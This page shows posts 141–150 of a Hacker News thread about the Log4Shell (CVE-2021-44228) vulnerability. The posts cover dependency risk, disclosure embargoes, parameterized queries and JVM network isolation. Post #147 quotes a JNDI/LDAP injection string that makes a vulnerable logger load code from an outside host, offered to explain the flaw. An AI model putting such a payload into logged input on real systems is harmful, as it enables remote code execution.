Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

techsolvency.com

Post reply on HN
Print view View original

141–150 of 209 posts

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#141

Post by RedBeetDeadpool »

tester756 wrote: post #78
Johnny555 wrote: post #71

Earlier quoted context omitted.

On the other hand, you don't know what vulnerabilities are hidden in your own code and just haven't been discovered yet, and you're one fuzzing attack away from a vulnerability being discovered/exploited.

What if there are none? It's not like library code is some magical stuff that only senior principal ninja 10x developers can comprehend Not everything is don't roll your own crypto.

Also, code written for libraries often need to factor in far more use cases and edge cases than code used for one part of your app. Its not too far fetched to say that there might not be any when you write your own because it might be significantly less encompassing.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#142

Post by tptacek »

ineedasername wrote: post #97

I'm not a security researcher, so I'd like to know if (probably "why") this is a bad idea: It seems like there should be some intermediary stage between logging the vulnerability & full public disclosure. Something like a partial public disclosure that says "Hey, we have a CVSS 10 about to come down on Log4j, everyone carve out a chunk of time to get their systems fixed when we publish to full disclosure & patch." An…

Embargoes have a pretty terrible track record going all the way back into the mid-1990s. They were a bad idea before reverse engineering patches became de rigueur; they're a much worse idea now that exploit developers are heavily tooled up to analyze patches. As soon as you publish a fix for a vulnerability, you've effectively published the vulnerability.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#143

Post by jdlshore »

mro_name wrote: post #118
mypalmike wrote: post #115

Earlier quoted context omitted.

The humor here is that sanitizing inputs is not the proper mitigation.

but? It think it's far deeper than mitigation, it's the solution. Edit: I apologize for getting 'sanitation' wrong. Don't do it.

The proper solution to SQL injection is parameterized queries, not input sanitization, to my knowledge.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#144

Post by tfehring »

bob1029 wrote: post #66

I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc... Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simp…

On the other hand, if you roll your own logging but import a dependency for something else (you generally can't roll your own everything) and that dependency uses log4j, isn't that strictly worse from a security perspective than just using log4j everywhere? Whatever the probability of any given logging utility exposing an RCE exploit, the probability that none of your logging utilities expose an RCE exploit decays exponentially to zero as the number of unique utilities you're using increases.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#145

Post by emaginniss »

bob1029 wrote: post #33
ThinkBeat wrote: post #19

Ideally, log4j should not have the ability to make "outgoing calls" right? It has been years since I used it but I can't remember a valid reason why it should be allowed to do so. Since it is running inside the stack it may not be easy to enforce it. If the "client" log4j does it before even logging that is a bother. It seems like having a "central" "syslog" logging server. Traffic goes from the stack -> logging serv…

> Ideally, log4j should not have the ability to make "outgoing calls" right? What is the intended scope of log4j? I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated.

All software projects must grow in complexity until they include a DSL. Or make outgoing arbitrary network calls.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#146

Post by AnotherGoodName »

mro_name wrote: post #118
mypalmike wrote: post #115

Earlier quoted context omitted.

The humor here is that sanitizing inputs is not the proper mitigation.

but? It think it's far deeper than mitigation, it's the solution. Edit: I apologize for getting 'sanitation' wrong. Don't do it.

For databases you simply parametize the inputs so that code is code and data is data and there's no mixing of the two.

Sanitization is a defence of last resort when you simply can't separate code and data. Usually used for user content on the web since HTML has no formal mechanism to separate code and data because the angled brackets that do this separation are also valid user input.

But databases do have a way to separate the query from the data. Parametize your queries.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#147

Post by kyrra »

gadnuk wrote: post #136
jrochkind1 wrote: post #122

Not a Java programmer, I still don't really understand how the ability to inject a JNDI lookup to your sever results in an RCE. OK, an attacker can inject a JNDI lookup, and can control what the JNDI lookup via LDAP returns... I would have thought that whatever it returned would just get inserted as a string into the log output, no big deal. But a remote JNDI lookup can return code that gets executed on the local sit…

The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell "Among the recognized expressions is ${jndi: }; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load an…

Log4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/, there was an exploit discovered 2 years ago that was never fixed on the official branch (https://www.cvedetails.com/cve/CVE-2019-17571/). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#148

Post by zdwolfe »

This might be a stupid question, but is it possible to airgap all classes running in the JVM from the network except for those you trust?

For example, I want to block all classes from opening sockets except those in my.company.domain.* packages.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#149

Post by phkahler »

After reading about this Log4j thing I realize it's not a bug. The vulnerability is due to a feature being exploited by the attacker. I'm not even going to qualify that by saying "exploited in unexpected ways" because it's being used exactly as intended. It seems the people who added and use that feature never took the time to ask "how can this be used nefariously?" That's not a criticism, most developers focus on how something is going to do what they want and not really consider ways to abuse it. But this was documented and in plain sight if you think about it.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#150

Post by mro_name »

AnotherGoodName wrote: post #146
mro_name wrote: post #118

Earlier quoted context omitted.

but? It think it's far deeper than mitigation, it's the solution. Edit: I apologize for getting 'sanitation' wrong. Don't do it.

For databases you simply parametize the inputs so that code is code and data is data and there's no mixing of the two. Sanitization is a defence of last resort when you simply can't separate code and data. Usually used for user content on the web since HTML has no formal mechanism to separate code and data because the angled brackets that do this separation are also valid user input. But databases do have a way to se…

Indeed. That's enforced system boundaries.
Post reply on HN